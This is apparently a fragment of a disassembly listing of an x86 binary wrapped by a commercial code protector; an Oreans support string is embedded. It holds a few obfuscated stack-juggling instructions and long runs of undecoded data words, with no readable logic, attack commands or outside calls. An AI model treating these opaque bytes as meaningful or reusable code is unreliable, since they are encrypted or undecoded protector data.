		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_554887
; ---------------------------------------------------------------------------
		dd 89226C6Fh, 0E378F0B8h, 0FFC50307h, 0E1611BE0h, 0A0F75D6Dh
		dd 8C2F1F1Fh, 8BDBED35h, 6672923Ch, 72FA554Dh, 7AE5FD54h
		dd 48372763h, 0E5662809h, 0C6E15026h, 6FB29B1Ah, 7F7C5607h
		dd 0B3790267h, 0D297685Eh, 26D1C67h, 0D6EAE753h, 5969E756h
		dd 82860866h, 80752462h, 3675500Fh, 0ADEEC760h,	0EE290758h
		dd 42FC17Eh, 7175A929h,	702EBA13h, 7AEEC900h, 0C1C53137h
		dd 0EA604C21h, 0C295080Ch, 0D842132Eh, 0DE82Ah,	6A7D0000h
		dd 0FEDE0264h, 80D584EEh, 0E8BD1810h, 0Ch, 0D0962028h
		dd 8A96DA68h, 21EB2073h, 0EE9h,	1377B500h, 0CFCF13FAh
		dd 0AE1265CBh, 598D54D9h, 0C681F85Eh, 6545h, 868CA8Bh
		dd 66000019h, 5C63E781h, 12E958h, 1B580000h, 268C4EE8h
		dd 1DC3CC88h, 0AACFC89Eh, 0F6DCEF76h, 0AE91E8Bh, 2A000000h
		dd 930C5B65h, 4F77914Fh, 85EB81D5h, 0E87DF7DEh,	5, 992BC527h
		dd 0DAF68096h, 6BEB8159h, 0E91C85C3h, 0Bh, 0F7928774h
		dd 3301AB67h, 8143D388h, 75CC6EBh, 0E4F18019h, 0DE81E89h
		dd 11000000h, 45622B78h, 0F49D46F6h, 3DA8FE7h, 6E9h, 0FF65C00h
		dd 5F4F0E42h, 5104EE83h, 0EE8h,	335B6200h, 22ECE5CAh, 0D6518709h
		dd 66F3497Fh, 5959C88Bh, 0F01E883h, 3185h, 5E800h, 63660000h
		dd 56C4405Ah, 0AE9h, 0D8865200h, 9F5D9B2Dh, 5A48B13Ah
		dd 21E95Ah, 205C0000h, 3CA15C3Ah, 88EB7922h, 92E96E9Bh
		dd 0EA8A60D9h, 0FFFF3FE9h, 3B8743FFh, 23921B2Ah, 0E94608C9h
		dd 83h,	56525153h, 245C8B57h, 3B81661Ch, 850F5A4Dh, 68h
		dd 3C43B70Fh, 8166D803h, 0F45503Bh, 5785h, 785B8B00h, 1C245C03h
		dd 324738Bh, 561C2474h,	8B207B8Bh, 7C031C73h, 74032024h
		dd 83FC2024h, 8B41FFC9h, 8B1C245Ch, 24540317h, 4C78320h
		dd 0C084028Ah, 33A0874h, 4243E875h, 33AF2EBh, 0D15FE075h
		dd 4B70FE1h, 86048B0Fh,	1C244403h, 595A5E5Fh, 8C25Bh, 0F1E9C033h
		dd 8BFFFFFFh, 400E9CAh,	0
		db    0
		align 2
a3anInternalExc	db '3An internal exception occured (Address: 0x%x)',0Ah
		db 0Dh,'Please, contact support@oreans.com. Thank you!',0
		align 4
		dd 60h dup(0)
		db 0
byte_58454D	db 3 dup(0)		; DATA XREF: ___:00444750o
		dd 82h dup(0)
		dd offset dword_55FFD8+28h
		dd offset dword_44622C+9DD4h
		dd 0
		dd 0B9E90000h, 6A000010h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 0AE79C350h,	5C2BF2B6h
		dd 8589F4E0h, 7E01BB9h,	1B71858Bh, 8D2907E0h, 7E017BDh
		dd 4244439h, 9C850Fh, 0EE90000h, 0D2000000h, 7795630h
		dd 0B5189893h, 33143080h, 0D8529ADh, 8307E016h,	0E00569BDh
		dd 840F0007h, 76h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 0E9C35747h, 0C1B5010Bh, 8D07E008h, 0E039F885h
		dd 56006A07h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 918D89BAh, 0FF07E021h, 51006AE0h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h
		dd 7C70A72Eh, 7D3108CAh, 31019D29h, 858B07E0h, 7E03085h
		dd 244439F8h, 37850F04h, 60000000h, 3D7BF0Fh, 0E0208D9Dh
		dd 85C76107h, 7E37FB6h,	1, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 14h, 50C35242h, 1B758531h,	6A6007E0h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 235AC351h, 29243111h, 0E0016195h, 2AE907h, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 0CB45A9C3h, 9D897A5Bh, 7E025CDh, 0
		dd 1B8h, 34858700h, 0B07E381h, 0FFF675C0h, 0E00759B5h
		dd 0AE858F07h, 6A07E37Fh, 0FFFF6A20h, 0E007E195h, 99BD8307h
		dd 7E006h, 6A0874h, 18A995FFh, 0BD8307E0h, 7E01551h, 680D7401h
		dd 80h,	95FFFF6Ah, 7E007E1h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 8BC35141h, 774FC930h, 8994F02Dh
		dd 0E032199Dh, 0B807h, 0BE90000h, 63000000h, 0B4DE589Ah
		dd 0BBBA1337h, 548B9A4Ch, 89F52824h, 0E0294185h, 12E907h
		dd 8F1B0000h, 6EB0F8CEh, 0E94B1230h, 55CBE75h, 2BD86438h
		dd 3CBEh, 0FE900h, 0F90D0000h, 0B42C517Dh, 9453EA9Dh, 0B5DF6F66h
		dd 2474033Dh, 6830F24h,	29000000h, 0E030DDB5h, 0E9AD6607h
		dd 14h,	4B6282Dh, 9F51B23h, 0A22EDA90h,	972BEBD2h, 51C2C2ADh
		dd 24244403h, 525050F8h, 52505250h, 585A310Fh, 5250310Fh
		dd 585A310Fh, 310F585Ah, 12E9h,	92C2DD00h, 2B3DAA64h, 5FB06FB1h
		dd 57BAB73Eh, 5AC121FDh, 24048958h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 28C35545h, 0CE2B3463h, 95896D1Ch
		dd 7E0261Dh, 344D8529h,	408B07E0h, 52006A78h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 0B5559A1Eh
		dd 830F91BBh, 1, 0B6BD83FCh, 7E37Fh, 0D5850Fh, 0BD890000h
		dd 7E02191h, 0A3D08160h, 8057DA92h, 506179D4h, 5E95250h
		dd 4E000000h, 65A4EAD4h, 6E9310Fh, 7F000000h, 0AA87FC9Ah
		dd 89585AFEh, 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 276455C3h, 0D11BBF69h, 8A0F60CCh
		dd 4, 0DA8CBF66h, 6890Fh, 8D8B0000h, 7E02641h, 24448B61h
		dd 759D892Ch, 5007E022h, 8880Fh, 880F0000h, 2, 4896160h
		dd 53006A24h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 9582EFBCh, 62774E95h, 1898509h, 666007E0h
		dd 8925E6BEh, 0E01FADBDh, 858D6107h, 7E34C84h, 6D8D8B60h
		dd 0F07E02Fh, 0FF61FAB7h, 7DB589D0h, 307E014h, 60282444h
		dd 0BA5F781h, 858B59F4h, 7E0135Dh, 18408B61h, 8B6040F9h
		dd 0E01FC5BDh, 0D1B70F07h, 0B2858961h, 0F807E37Fh, 51006A58h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 0E937918Fh, 6, 0F4AFAD72h, 708BEA49h, 57006A78h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
		dd 95A8B042h, 534581E3h, 0E86072B9h, 6,	0D7CF0B2Fh, 0CA81AC46h
		dd 728F8DEAh, 0D8B70F59h, 1CC68361h, 0C6B70F60h, 129D8501h
		dd 966107E0h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 1Ah,	0E7C35040h, 0EE4F4A3Bh,	7C814ACBh, 2424h, 870F1000h
		dd 110h, 2A218501h, 509007E0h, 10E952h,	34BD0000h, 0E7046A9Dh
		dd 384FC49Fh, 722BE86Eh, 310F805Fh, 14E9h, 65598300h, 456C588h
		dd 729CA443h, 0DB615CFAh, 0E08B43F9h, 50585A0Dh, 10E95250h
		dd 0D4000000h, 0EC3A5081h, 0D4807909h, 0EFFDCD74h, 0FEA8B5Dh
		dd 6E931h, 0F9A60000h, 565F9860h, 0F90585Ah, 88Bh, 2890F00h
		dd 60000000h, 24448B61h, 0FE928h, 0B0C50000h, 56CF24D5h
		dd 797EA1CEh, 0A570669Fh, 870F90B2h, 10h, 0BE9h, 0B8CCEF00h
		dd 783C3737h, 9F935CACh, 830F6050h, 6, 840Fh, 0CAB10000h
		dd 6A9061h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 0B6D34DC3h, 6F976D0Dh, 0E956F446h, 12h, 3EF9ACC3h
		dd 93F6D829h, 3016AE99h, 5E37996Ah, 858DDACBh, 7E34C84h
		dd 0C7816660h, 0BF0FA12Eh, 0D0FF61C9h, 0A8C0Fh,	5E90000h
		dd 0E2000000h, 0FD5D818Bh, 298D8996h, 307E019h,	29242474h
		dd 0E029F1B5h, 0BD8DF807h, 7E0055Dh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 5EC35646h, 8F0FD5C2h, 1Eh
		dd 14E860h, 94370000h, 0AA17998Ah, 0AEFD322Eh, 25AF0472h
		dd 0BA878C65h, 60595A07h, 0ADF86161h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 22C35141h, 50606094h, 0DCB4615Bh
		dd 0B70F6061h, 0AD9D31FBh, 6107E02Ch, 24247C81h, 10000000h
		dd 109870Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 602311C3h, 6820Fh, 0DE810000h, 10A67F0Ch
		dd 1D518589h, 906107E0h, 52505250h, 0AE9h, 0D9246F00h
		dd 0C12D8E32h, 0FA1A217h, 0EE931h, 0A4A80000h, 0F10B29A3h
		dd 92C93DD0h, 457934F9h, 310F585Ah, 52505250h, 585A310Fh
		dd 6160310Fh, 585A585Ah, 0BF606050h, 47272DE5h,	56616160h
		dd 3F75BF66h, 6090615Fh, 7ADBD89h, 0F38007E0h, 448B6197h
		dd 66602824h, 5061D68Bh, 7E9h, 0C7553C00h, 0AB34E372h
		dd 6A240489h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 131BC352h, 3D71501Eh, 0DE9h, 0A7E3D300h
		dd 122787EFh, 8AEE0C68h, 858DFCBBh, 7E34C84h, 198C0Fh
		dd 14E90000h, 0F7000000h, 0AEA1A8Ah, 63DD9440h,	8AE67B9Bh
		dd 0B99C4123h, 0FFB32535h, 5E9D0h, 48FE0000h, 313C71Ch
		dd 0E9242444h, 10h, 1C7007D0h, 887B356Fh, 819778Bh, 1361A4B6h
		dd 50006AABh, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 7386CF54h, 0FA81FF7Ch, 10000h, 72C820Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 597542C3h, 860FBB97h, 0Ch, 6820Fh, 8D290000h
		dd 7E00FD1h, 59BD8DF9h,	6A07E015h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 60D7C352h
		dd 68C0Fh, 0CA810000h, 2E0A0B1h, 68B0Fh, 0B5890000h, 7E0004Dh
		dd 81F5AD61h, 24247Ch, 0F100000h, 0EB87h, 5090FC00h, 68D0F52h
		dd 50000000h, 5A310F52h, 60310F58h, 5B505952h, 50585A61h
		dd 860F5250h, 6, 830Fh,	310F0000h, 7E9h, 0A412AB00h, 0EDBE148Dh
		dd 6A90585Ah, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 981EC350h, 0DC8E93BDh,	448BF667h
		dd 6A2824h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 3B008FC3h, 0F1D7A00Dh, 519589C4h,	9007E01Dh
		dd 3840F60h, 66000000h,	0B866F08Bh, 50610053h, 9FBE6660h
		dd 74D5BEC8h, 90612AF9h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 16h, 0AAC35747h, 66609F09h, 0CC8DF781h, 8D61CE8Bh
		dd 0E34C8485h, 75858907h, 0FF07E021h, 0AE9D0h, 27E00000h
		dd 38E79715h, 0BDE33156h, 24244403h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 9FC35242h, 8B60D905h, 0E01841B5h
		dd 8C0F07h, 61000000h, 4D958960h, 0F507E019h, 5E95061h
		dd 23000000h, 361C89B7h, 0E9240489h, 14h, 0C292A31h, 17EBDEF9h
		dd 56912C5Ch, 0C2AAE3E8h, 791D5429h, 169D8D29h,	0FAB07E0h
		dd 683h, 0B5BD2900h, 8D07E01Fh,	0E01ACDBDh, 55006A07h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 4ADFBE76h, 108F0Fh, 0BE90000h, 48000000h, 0CAA12254h
		dd 8BB10F3Bh, 0BD89412Eh, 7E02571h, 7C81FCADh, 2824h, 870F1000h
		dd 0E1h, 0DE9h,	0C7DB5700h, 16142A8h, 75C32409h, 50500E50h
		dd 7E86052h, 50000000h,	0F2A5B0F5h, 605E3B38h, 310F6161h
		dd 8E960h, 0C69E0000h, 0D31BF1A4h, 0B8668144h, 5A611716h
		dd 24048958h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 18h,	11C35545h, 3B5CD4E8h, 2C24448Bh, 22A99D09h, 0F5007E0h
		dd 0C8Ch, 68C0F00h, 0F000000h, 8Fh, 24048900h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 1FC35545h, 903ECE3Dh
		dd 343101B9h, 84858D31h, 0F807E34Ch, 6AD0FFh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 2B0FD5C3h
		dd 0D281601Bh, 42FE448Dh, 1ADD8529h, 16107E0h, 0E01A299Dh
		dd 24440307h, 0B5896028h, 7E01EBDh, 0EE9h, 976F6E00h, 6C4E0841h
		dd 676130F3h, 61683665h, 9E9h, 8FA8600h, 0ED431B41h, 6AABF32Eh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 0C7DFC351h, 0FF5EDBBCh, 0E37FB28Dh, 0B2BD8307h
		dd 7E37Fh, 0C0330A75h, 8DE4B58Dh, 0E6FF07E3h, 7C81AD56h
		dd 2824h, 0E771000h, 24448B50h,	858D502Ch, 7E34C84h, 4403D0FFh
		dd 8B972824h, 0AE858ADFh, 8407E37Fh, 3A0474C0h,	574C7507h
		dd 75AEC032h, 0FB2B5EFDh, 0C933FC52h, 33D18B49h, 0ACDB33C0h
		dd 0CD8AC132h, 0D68AEA8Ah, 0D16608B6h, 0D8D166EBh, 35660973h
		dd 81665041h, 0FE5449F3h, 33EB75CEh, 4FD333C8h,	0D2F7D575h
		dd 0C28BD1F7h, 6610C0C1h, 3B5AC18Bh, 5E0F74D0h,	0FF04C683h
		dd 0E0294185h, 0FF5DE907h, 6A5EFFFFh, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 0B418C350h
		dd 99D8B60h, 6607E002h,	51E3C281h, 0E8B0F61h, 60000000h
		dd 29FD858Bh, 9D8907E0h, 7E00FE1h, 0DB816061h, 57044077h
		dd 2E41858Bh, 8B6107E0h, 0E0294185h, 51006A07h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 19973798h
		dd 11D2CE8h, 0DDBD89ADh, 0D107E02Fh, 55006AE0h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 99F704FAh
		dd 500B427Ah, 6E9C4h, 0D6840000h, 271F1774h, 26218589h
		dd 850307E0h, 7E01ACDh,	2FC59589h, 0BE07E0h, 0F000000h
		dd 189h, 8589FC00h, 7E02A39h, 0AD66F596h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Bh, 0E5C35141h, 57FA8F07h
		dd 0E958763Dh, 0Dh, 0F7EDA22Bh,	48625408h, 2521B9F0h, 1D8C0FE7h
		dd 0F000000h, 1782h, 12E900h, 0B4330000h, 0E05BB98Ah, 0A69284FDh
		dd 0A2A99914h, 0C9E15873h, 0DBBF0F60h, 0C161ABB4h, 852902E0h
		dd 7E013EDh, 55D8503h, 6A07E0h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 9D8975C3h, 7E02411h
		dd 51006A96h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 0B1ADB47Ch, 6AADD9h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 870F22C3h
		dd 6, 4CD8D31h,	7C8107E0h, 2424h, 870F1000h, 0B6h, 0BE9F9h
		dd 88A50000h, 6284CD85h, 0EEE0D658h, 8D0F5016h,	10h, 0A8B0Fh
		dd 5E90000h, 8D000000h,	833B8EB8h, 89240489h, 0E01379B5h
		dd 24448B07h, 1830F28h,	0F8000000h, 10E96090h, 0A3000000h
		dd 4F7A44F6h, 0CC24341Eh, 0E0C08DFh, 527BF4B1h,	14E8h
		dd 26F59600h, 7B5DDF47h, 0F970D10h, 70DE3CDDh, 371E904Dh
		dd 615E5A4Dh, 50525050h, 830F52h, 0F000000h
dword_58554C	dd 860F31h, 5A000000h, 0F310F58h, 688h,	0F525000h, 5A585A31h
					; DATA XREF: ___:004448DCo
		dd 0B5899058h, 7E02C79h, 4C84858Dh, 0BD0107E3h,	7E0052Dh
		dd 830FD0FFh, 6, 1D65B589h, 440307E0h, 9D892424h, 7E02DA9h
		dd 1C244489h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 18h,	87C35343h, 0C82303F8h, 14E9FC60h, 3C000000h, 88406E00h
		dd 0FEAC156h, 95ED08F6h, 0DA74DBD6h, 61B6057Ah,	75985C6h
		dd 0C70007E0h, 0E3813485h, 7, 0B685C700h, 7E37Fh, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 0CFB4C353h, 0C880FE6h, 0F000000h,	68Ch, 1D9D2900h
		dd 0F07E01Dh, 0C8Eh, 6850F00h, 89000000h, 0E006859Dh, 0C2F96107h
		dd 800F0008h, 6, 5A1B589h, 858B07E0h, 7E0055Dh,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 1DC35747h, 89CD04C8h
		dd 0E018AD95h, 6A4A07h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 667270C3h, 869433EDh, 8F0FF93Ah
		dd 0Fh,	0AE9h, 93461400h, 0AEFD4A9h, 6B5D45D3h,	8E904D2h
		dd 49000000h, 307AF74Fh, 38E244Eh, 899589C2h, 9607E019h
		dd 68E0Fh, 60600000h, 61C38B61h, 53006AADh, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 4AFBE19Ah
		dd 247C810Fh, 24h, 27870F10h, 60000001h, 10830Fh, 0AE80000h
		dd 88000000h, 1E72D8F5h, 466B0561h, 61F859F8h, 0EE990h
		dd 0EC9E0000h, 84EC472Dh, 3BBF49A3h, 91671DA2h,	7880F50h
		dd 60000000h, 8B666160h, 609061D9h, 7159D33h, 0FA8B07E0h
		dd 24448B61h, 57006A28h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 0EE91Ah, 0E1290000h, 0B8B6C4E8h
		dd 0D1B11571h, 0F936D48Ah, 899D89h, 505007E0h, 0E9525052h
		dd 0Ah,	6ACD3BC0h, 0E3DF2D14h, 310FBF53h, 585A6160h, 0E860310Fh
		dd 14h,	68122787h, 0BB8AEE0Ch, 23ED56FCh, 3B1F7B92h, 0C2EA8242h
		dd 615F535Bh, 489585Ah,	50006A24h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 8B600F92h, 0E0204DBDh
		dd 11830F07h, 0E8000000h, 0Bh, 5C89F774h, 4087425Eh, 5A01F36Bh
		dd 84858D61h, 6007E34Ch, 0EE957h, 0FBC10000h, 0A3E1326Ah
		dd 0A58629D4h, 89DF208h, 0D0FF615Ah, 9E9h, 2D497100h, 0AD0342C2h
		dd 63E97516h, 0F9FFFFFDh, 9463858Dh, 616007E3h,	6880F90h
		dd 60000000h, 5B525B53h, 9E95061h, 7000000h, 4B8361F4h
		dd 3A9CACB8h, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1504h, 0C3564600h, 820FCAF0h, 0Eh, 91BD8B60h, 3307E000h
		dd 0E01BF98Dh, 0FF646107h, 35h,	0A5B58900h, 8B07E031h
		dd 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 0F89D68C3h, 16158589h, 8B0F07E0h,	0Ch, 6890Fh
		dd 830F0000h, 0
		dd 1F59D01h, 896407E0h,	25h, 55006A00h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 6929C187h
		dd 91C9858Dh, 6A07E3h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 0EBA2B1C3h, 1C918D89h, 608907E0h
		dd 0DE901h, 9B190000h, 0CE1A5E9h, 3B48AB1h, 0E94B35BFh
		dd 30Ch, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 16h,	0B1C35747h, 0B60B920h, 0E02F2995h, 0CE907h, 993A0000h
		dd 346AED67h, 1DB4AC10h, 8B619619h, 0E8DBh, 815D0000h
		dd 0E391C2EDh, 0FF9CBC07h, 0BD830012h, 7E01551h, 8B187400h
		dd 0E0203985h, 0C607h, 1E09858Bh, 0C607E0h, 0FD95FF00h
		dd 6007E028h, 7BBAB5FFh, 858D07E3h, 7E37BBEh, 0B6858D50h
		dd 5007E37Dh, 188195FFh, 0C48307E0h, 6A610Ch, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 57FA8FC3h
		dd 0F58763Dh, 0C82h, 68F0F00h, 31000000h, 0E026F19Dh, 53006A07h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 5D203572h, 0EB740A46h, 0DE960h, 0B56C0000h, 17E7CC4Ch
		dd 50B4C178h, 80CDDF37h, 8D610CCDh, 0E37DB6B5h,	56006A07h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 7C46A794h, 0FE21640h, 0C86h,	68A0F00h, 89000000h, 0E008FD9Dh
		dd 15BD8D07h, 8907E002h, 0E030C99Dh, 3E8007h, 94840Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 5B85AC3h,	446EBC4Ch, 3114F9B2h, 0E0142995h
		dd 1810F07h, 0F8000000h, 2565B589h, 6AA407E0h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 3821C353h, 704EC4C0h, 96B965Dh, 0E00F4585h, 35958907h
		dd 0E907E013h, 0FFFFFF89h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 71C35343h, 0DB816660h, 0C580BE41h, 0B861BDh
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 4FD1C355h, 89C2B28Fh, 0E030B195h
		dd 0F560AA07h, 61D0B70Fh, 260D8D89h, 7B807E0h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 0D576C357h, 8928D94Ah, 0E019118Dh, 4D85C707h
		dd 107E012h, 6A000000h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 0EBC4C355h,	9C9F2F35h
		dd 8F0F60F8h, 6, 31C9BD0Bh, 9B007E0h, 0E88D8D61h, 6A07E04Eh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 0FF1C355h, 68Dh, 0FDBD8900h, 0F07E015h, 689h
		dd 85BD0100h, 0FF07E01Ch, 0BE960E1h, 19000000h,	10D608B9h
		dd 8F3A459Eh, 95293AF7h, 7E01BD1h, 0DE961h, 53A40000h
		dd 283C87EEh, 8056B9AFh, 8B91D4CBh, 550C245Ch, 0E8h, 0ED815D00h
		dd 7E3946Dh, 0B8838Bh, 85890000h, 7E37BBAh, 91BB858Dh
		dd 838907E3h, 0B8h, 0C3C0335Dh,	0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 15h, 71C35242h, 6810FDCh, 31000000h
		dd 0E004ADBDh, 55006A07h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 25CE921Ch, 0D7D8409Eh
		dd 60F8F3D9h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Ch,	0E6C35747h, 720D4DC7h, 0D6DA2821h, 79BD29FCh, 8D07E008h
		dd 0E3974E85h, 56006A07h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 2C1A7CA0h, 0E91F9B37h
		dd 8, 51DEFF5Eh, 0C96D770Fh, 0F525090h,	68Fh, 0F525000h
		dd 0F585A31h, 8E931h, 5BBA0000h, 94F4CC6Bh, 585A8E91h
		dd 0E9525050h, 0Fh, 0AE6F4F31h,	0E1E2868Ch, 8FA597F3h
		dd 0F275AA8h, 68C0F31h,	50000000h, 5A310F52h, 90585A58h
		dd 91E28160h, 0BB5A1632h, 39BCC084h, 35FF6461h,	0
aIae3rDi	db '‰…3à',7,'d‰%',0
		align 4
		dd 0B58D3100h, 0F807E030h, 97E7858Dh, 952907E3h, 7E00805h
		dd 60016089h, 94A9D281h, 895668ECh, 0E00E15BDh,	0C6615E07h
		dd 0E0075985h, 8D894F07h, 7E00619h, 4E8h, 0C8742A00h, 14E960FEh
		dd 27000000h, 207CA66Ah, 0AEC3479Ah, 745B2D98h,	8FB14B5Ah
		dd 8B656A04h, 605061D0h, 0DE8h,	54C84D00h, 88A170A2h, 0A5BC99E1h
		dd 21BF2986h, 58126D75h, 12E9h,	0FA49E400h, 87811541h
		dd 0BE883819h, 0C3A988F9h, 61427C28h, 424448Bh,	10E9h
		dd 0F8FF6800h, 6CFE6CCBh, 0E2237DC3h, 0BC09095Ch, 0E9008B35h
		dd 9, 5056C999h, 0AC312979h, 244489E7h,	58616004h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0DDC35242h, 62AE2D7Dh
		dd 0B8B7FC2Ah, 18858D29h, 0FC6007E0h, 21618D29h, 0FF6107E0h
		dd 0E0292DB5h, 0E9F96007h, 14h,	559D016Dh, 0D4BA621Eh
		dd 0CBE2C026h, 4BC1196Eh, 1CE195B6h, 0E8858D61h, 6007E37Fh
		dd 465EBA66h, 0DE8h, 26130300h,	5F5DDB85h, 413953C5h, 615F165Ah
		dd 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 9A4A1CC3h, 0E93C18D9h, 12h, 9665657h, 4B2C8E23h
		dd 0C54061F3h, 0FDB59FDEh, 11E96AC7h, 7000000h,	0FAA2864Ch
		dd 0FCA3C9ECh, 0ABEDAE7Eh, 65CED2D7h, 0BAE9h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 1D1FCD2Eh, 5C8B52C2h, 0E8550C24h, 0
		dd 58ED815Dh, 8B07E397h, 0E02F0185h, 2D858907h,	8B07E029h
		dd 0E0308585h, 25858907h, 8B07E014h, 0E01B7185h, 0C9858907h
		dd 0C607E000h, 0E0075985h, 85C70007h, 7E38134h,	0
aNeccuIg	db '…ç—ã',7,'‰ƒ¸',0
		align 4
a3J		db ']3ÀÃj',0
		dw 0E857h
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0D0C35747h, 0D284BD3Bh
		dd 602D028Dh, 57C8B866h, 5E616051h, 1D9D3161h, 6007E01Dh
		dd 129D958Bh, 815007E0h, 1F8D6DE8h, 0BC615F50h,	12FF74h
		dd 13E9h, 66CA3A00h, 4EE076F5h,	0C684A114h, 0F6E873B2h
		dd 0DB42AA63h, 58F64h, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 626BC355h
		dd 10E9EE05h, 0B1000000h, 1D6213BFh, 7E1EB9A7h,	4A0258h
		dd 0E98BDD6Ch, 12h, 0F6D7BFD5h,	6B231420h, 9F971D4h, 0A3AF12CCh
		dd 0C4835E8Ah, 53006A04h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1D04h, 0C3534300h, 93721791h, 0F904B455h
		dd 8E99326h, 50000000h,	9BB0D6Ch, 605FD72Eh, 8BF78B66h
		dd 0E86161C8h, 0Dh, 0D5BCA9EBh,	606CD588h, 12825A15h, 598D8BF5h
		dd 5A07E02Ch, 0A9C281F8h, 81000063h, 0BAEBE1E9h, 0BB01h
		dd 31530000h, 0E01D1DBDh, 348B5807h, 82BF661Ah,	4EF681C8h
